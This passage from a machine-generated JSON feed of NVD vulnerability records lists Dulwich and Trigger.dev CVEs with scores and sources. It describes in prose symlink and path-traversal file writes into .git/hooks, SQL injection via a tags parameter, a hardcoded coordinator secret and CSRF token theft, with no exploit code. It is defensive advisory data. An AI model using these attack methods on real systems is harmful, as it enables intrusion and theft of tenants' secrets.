1.2.8 contains a path traversal vulnerability in CommitFilter._apply_index_filter() that allows attackers to write files outside the working directory via symlinks persisting between commits. Attackers can craft a repository where an ancestor commit's symlink redirects a descendant commit's file writes during filter_branch, enabling code execution by writing into .git/hooks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:35.100Z","updatedAt":"2026-10-22T16:17:34.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114097","asOf":"2026-10-22T16:17:34.150Z"},"epss":{"probability":0.00186,"percentile":0.08138,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114097&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114097","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114097","type":"primary","publishedAt":"2026-10-21T01:17:35.100Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114097&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114097, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114096","cveId":"CVE-2026-114096","aliases":[],"kind":"vulnerability","title":"Dulwich from 0.24.0 before 1.2.8 contains a symlink following vulnerability in porcelain.checkout(paths=[...]) that allows attackers to write arbitrary files by abusing raw...","summary":"Dulwich from 0.24.0 before 1.2.8 contains a symlink following vulnerability in porcelain.checkout(paths=[...]) that allows attackers to write arbitrary files by abusing raw os.open without O_NOFOLLOW. Attackers can craft a repository where a worktree symlink points to .git/hooks/post-checkout, so restoring the file from a tag writes a malicious hook for code execution.","detail":"Dulwich from 0.24.0 before 1.2.8 contains a symlink following vulnerability in porcelain.checkout(paths=[...]) that allows attackers to write arbitrary files by abusing raw os.open without O_NOFOLLOW. Attackers can craft a repository where a worktree symlink points to .git/hooks/post-checkout, so restoring the file from a tag writes a malicious hook for code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:34.933Z","updatedAt":"2026-10-21T01:17:35.050Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114096","asOf":"2026-10-21T01:17:35.050Z"},"epss":{"probability":0.00155,"percentile":0.0456,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114096&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114096","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114096","type":"primary","publishedAt":"2026-10-21T01:17:34.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114096&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114096, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114095","cveId":"CVE-2026-114095","aliases":[],"kind":"vulnerability","title":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects.","summary":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.","detail":"Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:34.763Z","updatedAt":"2026-10-21T16:17:30.937Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114095","asOf":"2026-10-21T16:17:30.937Z"},"epss":{"probability":0.00311,"percentile":0.23682,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114095&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114095","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114095","type":"primary","publishedAt":"2026-10-21T01:17:34.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114095&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114095, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114094","cveId":"CVE-2026-114094","aliases":[],"kind":"vulnerability","title":"Dulwich before 1.2.9 fails to validate DOS drive letter prefixes in Git tree path elements on Windows, allowing arbitrary file write.","summary":"Dulwich before 1.2.9 fails to validate DOS drive letter prefixes in Git tree path elements on Windows, allowing arbitrary file write. Attackers can craft a malicious repository with a tree entry named 'C:' that bypasses NTFS validation and writes files outside the worktree to achieve remote code execution.","detail":"Dulwich before 1.2.9 fails to validate DOS drive letter prefixes in Git tree path elements on Windows, allowing arbitrary file write. Attackers can craft a malicious repository with a tree entry named 'C:' that bypasses NTFS validation and writes files outside the worktree to achieve remote code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:34.580Z","updatedAt":"2026-10-21T01:17:34.713Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114094","asOf":"2026-10-21T01:17:34.713Z"},"epss":{"probability":0.00671,"percentile":0.51739,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114094&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114094","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114094","type":"primary","publishedAt":"2026-10-21T01:17:34.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114094&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114094, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114092","cveId":"CVE-2026-114092","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.5.0 performs no authentication or organization check in the action handler of the dashboard run replay route (resources.taskruns.$runParam.replay) and looks...","summary":"Trigger.dev before 4.5.0 performs no authentication or organization check in the action handler of the dashboard run replay route (resources.taskruns.$runParam.replay) and looks up the run by friendlyId alone. A remote attacker who knows a victim's run friendlyId can replay it into an environment of their choosing, exposing the victim's task payload or running the task again with the victim's secrets.","detail":"Trigger.dev before 4.5.0 performs no authentication or organization check in the action handler of the dashboard run replay route (resources.taskruns.$runParam.replay) and looks up the run by friendlyId alone. A remote attacker who knows a victim's run friendlyId can replay it into an environment of their choosing, exposing the victim's task payload or running the task again with the victim's secrets.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:34.247Z","updatedAt":"2026-10-22T16:17:33.980Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114092","asOf":"2026-10-22T16:17:33.980Z"},"epss":{"probability":0.00589,"percentile":0.47853,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114092&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114092","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114092","type":"primary","publishedAt":"2026-10-21T01:17:34.247Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114092&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114092, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114090","cveId":"CVE-2026-114090","aliases":[],"kind":"vulnerability","title":"Trigger.dev cli-v3 from 3.0.0 before 4.5.4 contains a missing authentication vulnerability in the trigger dev --mcp server, which binds all network interfaces and exposes the /sse...","summary":"Trigger.dev cli-v3 from 3.0.0 before 4.5.4 contains a missing authentication vulnerability in the trigger dev --mcp server, which binds all network interfaces and exposes the /sse and /messages endpoints. LAN attackers or malicious web pages can send MCP tools/call requests to invoke trigger-task, cancel-run, list-runs, and get-run-logs using the developer's stored access token.","detail":"Trigger.dev cli-v3 from 3.0.0 before 4.5.4 contains a missing authentication vulnerability in the trigger dev --mcp server, which binds all network interfaces and exposes the /sse and /messages endpoints. LAN attackers or malicious web pages can send MCP tools/call requests to invoke trigger-task, cancel-run, list-runs, and get-run-logs using the developer's stored access token.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:33.920Z","updatedAt":"2026-10-22T17:39:56.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MCP servers and SDKs"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114090","asOf":"2026-10-22T17:39:56.760Z"},"epss":{"probability":0.00235,"percentile":0.1435,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114090&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114090","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114090","type":"primary","publishedAt":"2026-10-21T01:17:33.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114090&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114090, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114089","cveId":"CVE-2026-114089","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.5.2 contains a cross-site request forgery vulnerability in the CLI authorization-code flow because loading /account/authorization-code/<code> mints a Personal...","summary":"Trigger.dev before 4.5.2 contains a cross-site request forgery vulnerability in the CLI authorization-code flow because loading /account/authorization-code/<code> mints a Personal Access Token without any consent step. Attackers mint an unauthenticated code, lure a logged-in user to that URL, then retrieve the victim's PAT from the unauthenticated /api/v1/token endpoint to take over the account.","detail":"Trigger.dev before 4.5.2 contains a cross-site request forgery vulnerability in the CLI authorization-code flow because loading /account/authorization-code/<code> mints a Personal Access Token without any consent step. Attackers mint an unauthenticated code, lure a logged-in user to that URL, then retrieve the victim's PAT from the unauthenticated /api/v1/token endpoint to take over the account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:33.763Z","updatedAt":"2026-10-21T01:17:33.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114089","asOf":"2026-10-21T01:17:33.877Z"},"epss":{"probability":0.00148,"percentile":0.03937,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114089&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114089","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114089","type":"primary","publishedAt":"2026-10-21T01:17:33.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114089&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114089, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114088","cveId":"CVE-2026-114088","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.5.4 contains a hardcoded default secret vulnerability in the /coordinator Socket.IO namespace that allows unauthenticated attackers to connect using the...","summary":"Trigger.dev before 4.5.4 contains a hardcoded default secret vulnerability in the /coordinator Socket.IO namespace that allows unauthenticated attackers to connect using the published coordinator-secret value. Attackers can emit READY_FOR_EXECUTION to retrieve decrypted run environment variables or send TASK_RUN_FAILED_TO_RUN and similar events to tamper with arbitrary runs.","detail":"Trigger.dev before 4.5.4 contains a hardcoded default secret vulnerability in the /coordinator Socket.IO namespace that allows unauthenticated attackers to connect using the published coordinator-secret value. Attackers can emit READY_FOR_EXECUTION to retrieve decrypted run environment variables or send TASK_RUN_FAILED_TO_RUN and similar events to tamper with arbitrary runs.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:33.607Z","updatedAt":"2026-10-21T01:17:33.723Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114088","asOf":"2026-10-21T01:17:33.723Z"},"epss":{"probability":0.00276,"percentile":0.19801,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114088&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114088","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114088","type":"primary","publishedAt":"2026-10-21T01:17:33.607Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114088&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114088, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114085","cveId":"CVE-2026-114085","aliases":[],"kind":"vulnerability","title":"Trigger.dev through 4.7.6 contains a missing authentication vulnerability in the supervisor workload server that allows workloads to manipulate runs belonging to other deployments...","summary":"Trigger.dev through 4.7.6 contains a missing authentication vulnerability in the supervisor workload server that allows workloads to manipulate runs belonging to other deployments without ownership verification. Attackers with network access and a valid run/snapshot pair can call the attempts/start endpoint to obtain resolved environment variables and run JWTs, or start, complete, and suspend other tenants' runs.","detail":"Trigger.dev through 4.7.6 contains a missing authentication vulnerability in the supervisor workload server that allows workloads to manipulate runs belonging to other deployments without ownership verification. Attackers with network access and a valid run/snapshot pair can call the attempts/start endpoint to obtain resolved environment variables and run JWTs, or start, complete, and suspend other tenants' runs.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:33.123Z","updatedAt":"2026-10-21T16:17:30.440Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114085","asOf":"2026-10-21T16:17:30.440Z"},"epss":{"probability":0.00186,"percentile":0.08115,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114085&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114085","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114085","type":"primary","publishedAt":"2026-10-21T01:17:33.123Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114085&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114085, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114084","cveId":"CVE-2026-114084","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the /realtime/v1/runs endpoint, which concatenates the unescaped tags query parameter into the ElectricSQL...","summary":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the /realtime/v1/runs endpoint, which concatenates the unescaped tags query parameter into the ElectricSQL shape where clause and defeats the runtimeEnvironmentId tenant guard. Authenticated attackers holding any project API key with read:runs scope can append boolean conditions to stream TaskRun records, including payloads and metadata, from every organization on the same self-hosted instance.","detail":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the /realtime/v1/runs endpoint, which concatenates the unescaped tags query parameter into the ElectricSQL shape where clause and defeats the runtimeEnvironmentId tenant guard. Authenticated attackers holding any project API key with read:runs scope can append boolean conditions to stream TaskRun records, including payloads and metadata, from every organization on the same self-hosted instance.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:32.970Z","updatedAt":"2026-10-21T01:17:33.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114084","asOf":"2026-10-21T01:17:33.080Z"},"epss":{"probability":0.00276,"percentile":0.19855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114084&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114084","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114084","type":"primary","publishedAt":"2026-10-21T01:17:32.970Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114084&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114084, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114083","cveId":"CVE-2026-114083","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.5.0-rc.3 contains a path traversal vulnerability in the api/v1/packets and api/v2/packets endpoints that allows authenticated tenants to escape their object...","summary":"Trigger.dev before 4.5.0-rc.3 contains a path traversal vulnerability in the api/v1/packets and api/v2/packets endpoints that allows authenticated tenants to escape their object key prefix through an unsanitized filename splat segment. Attackers holding one valid API key can supply ../ sequences to obtain presigned GET or PUT URLs and read or overwrite other tenants' run payloads and outputs.","detail":"Trigger.dev before 